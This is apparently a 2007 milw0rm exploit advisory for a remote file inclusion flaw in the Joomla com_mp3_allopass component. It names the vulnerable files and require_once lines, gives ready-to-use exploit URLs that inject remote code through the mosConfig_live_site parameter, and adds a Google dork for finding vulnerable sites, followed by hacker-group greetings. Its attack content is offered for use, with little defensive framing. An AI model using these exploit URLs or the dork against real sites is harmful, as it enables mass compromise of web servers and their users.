joomla component mp3 allopass 1.0 - Remote File Inclusion Vulnerability

# com_mp3_allopass joomla component Remote File Include Vulnerability Component : com_mp3_allopass Download file : http://www.joomlaratings.com Dicovered by : NoGe Contact : pace.noge@hotmail.com ================================================================================================================================== # Vulnerable file /components/com_mp3_allopass/allopass.php line 3 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php"); /components/com_mp3_allopass/allopass-error.php line 2 require_once("{$mosConfig_absolute_path}/components/com_mp3_allopass/allopass-conf.php"); # Exploit http://localhost/path/components/com_mp3_allopass/allopass.php?mosConfig_live_site=[evilcode] http://localhost/path/components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=[evilcode] # google dork inurl:com_mp3_allopass ================================================================================================================================== # Greetz all member #papuahacker #nyubicrew #baliemhackerlink skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie str0ke yooogy H312Y Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq http://kapukvalley.net member ================================================================================================================================== # milw0rm.com [2007-10-10]